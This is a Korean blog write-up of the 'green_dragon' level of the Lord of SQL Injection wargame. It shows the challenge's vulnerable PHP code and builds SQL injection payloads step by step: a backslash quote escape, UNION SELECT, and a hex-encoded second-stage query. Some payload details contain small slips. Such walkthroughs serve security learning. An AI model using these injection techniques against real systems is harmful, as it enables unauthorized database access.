[LOS] green_dragon

Yennytime·2023년 1월 17일
0

Lord of SQL Injection

목록 보기
9/20
post-thumbnail

<?php
  include "./config.php";
  login_chk();
  $db = dbconnect();
  if(preg_match('/prob|_|\.|\'|\"/i', $_GET[id])) exit("No Hack ~_~");
  if(preg_match('/prob|_|\.|\'|\"/i', $_GET[pw])) exit("No Hack ~_~");
  $query = "select id,pw from prob_green_dragon where id='{$_GET[id]}' and pw='{$_GET[pw]}'";
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if($result['id']){
    if(preg_match('/prob|_|\.|\'|\"/i', $result['id'])) exit("No Hack ~_~");
    if(preg_match('/prob|_|\.|\'|\"/i', $result['pw'])) exit("No Hack ~_~");
    $query2 = "select id from prob_green_dragon where id='{$result[id]}' and pw='{$result[pw]}'";
    echo "<hr>query2 : <strong>{$query2}</strong><hr><br>";
    $result = mysqli_fetch_array(mysqli_query($db,$query2));
    if($result['id'] == "admin") solve("green_dragon");
  }
  highlight_file(__FILE__);
?>

🔺 코드분석

1.

if(preg_match('/prob|_|\.|\'|\"/i', $_GET[id])) exit("No Hack ~_~");
if(preg_match('/prob|_|\.|\'|\"/i', $_GET[pw])) exit("No Hack ~_~");
$query = "select id,pw from prob_green_dragon where id='{$_GET[id]}' and pw='{$_GET[pw]}'";

🔹 $_GET[id],$_GET[pw] 파라미터 필터링
prob, _, ., ', ", /i (대소문자를 구분하지 않음)


2.

if($result['id']){
    if(preg_match('/prob|_|\.|\'|\"/i', $result['id'])) exit("No Hack ~_~");
    if(preg_match('/prob|_|\.|\'|\"/i', $result['pw'])) exit("No Hack ~_~");
    $query2 = "select id from prob_green_dragon where id='{$result[id]}' and pw='{$result[pw]}'";
    echo "<hr>query2 : <strong>{$query2}</strong><hr><br>";
    $result = mysqli_fetch_array(mysqli_query($db,$query2));
    if($result['id'] == "admin") solve("green_dragon");

2번째 쿼리에서 2중으로 prob, _, ., ', ", /i (대소문자를 구분하지 않음)필터링되는 것을 알 수 있다.


🔺 풀이 과정

if(preg_match('/prob|_|\.|\'|\"/i', $result['id'])) exit("No Hack ~_~");
if(preg_match('/prob|_|\.|\'|\"/i', $result['pw'])) exit("No Hack ~_~");
    
$query = "select id,pw from prob_green_dragon where id='{$_GET[id]}' and pw='{$_GET[pw]}'";

작은 따옴표(')를 우회 할 수 있는 큰 따옴표(") 또한 필터링 되어 있기 때문에, 백슬래시(\)로 우회해야한다.

그렇게 된다면,

  1. id=\&pw=1

첫번째 쿼리에서 \' and pw=' 까지가 id가 되버린다.

SELECT문에서 id와 pw가 필요하기 때문에, UNION SELECT을 사용해야한다.


💙 UNION SELECT

서로 다른 테이블에서 얻어본 칼럼을 하나의 단일 집합으로 만들어주는 키워드이며, 불러오는 칼럼의 개수는 동일해야 한다.


  1. id=/&pw= union select 1,2 -- -

두번째 쿼리를 보면, id=1, pw=2가 입력된 것을 확인할 수 있다.

$result = mysqli_fetch_array(mysqli_query($db,$query2));
if($result['id'] == "admin") solve("green_dragon");

id='admin' 이면, 성공적으로 출력되기 때문에, 아이디를 입력해야한다. 하지만, 작은 따옴표(')가 필터링 되기때문에 id=\&pw= union select id='admin을 사용하지 못한다.

일단, admin을 유니코드 정수로 바꿔보자.

char(97,100,109,105,110)


💙 ord - 문자를 유니코드 정수로 변환

💙 chr - 유니코드 정수를 받아서 문자를 반환


  1. id=\&pw= union select char(97,110,109,105,110)-- -

아무런 반응이 없다.
쿼리1에만 코드가 넣어진걸로 인식되기 때문에 쿼리2에서 union select char이 안먹히는 것 같다.

  1. id=\&pw= union select 0x5c,0x756e696f6e2073656c65637420636861722839372c3130302c3130392c3130352c313130292d2d202d-- -

char로 먹히지 않는다면, hex로 우회한다.
백슬래시(\)까지 16진수로 넣어줘야 하기때문에 같이 헥사로 변환해주었다.


  • 백슬래시(\)로 우회해야할까?

이미 쿼리1에서 백슬래시를 사용했기때문에 쿼리2까지 넘어가지 않는다.


  • hex로 변환해야할까?

ASCII코드는 문자의 정해진 번호를 뜻한다. 그렇기 때문에 16진수로 변환할 수 있다.


이번 문제는 몇 시간동안 헤매면서 풀었던 것 같다.
문제를 풀 때 단순하게 생각하기보단 왜 이렇게 풀어야했는지, 문제가 원하는 답이 무엇인지에 대해 정확하게 이해하다보니 시간이 많이 소비되었던 것 같다.
그래도 막상 이해하니 뿌듯하다 (❁´◡`❁)

profile
It's Yennytime💙

0개의 댓글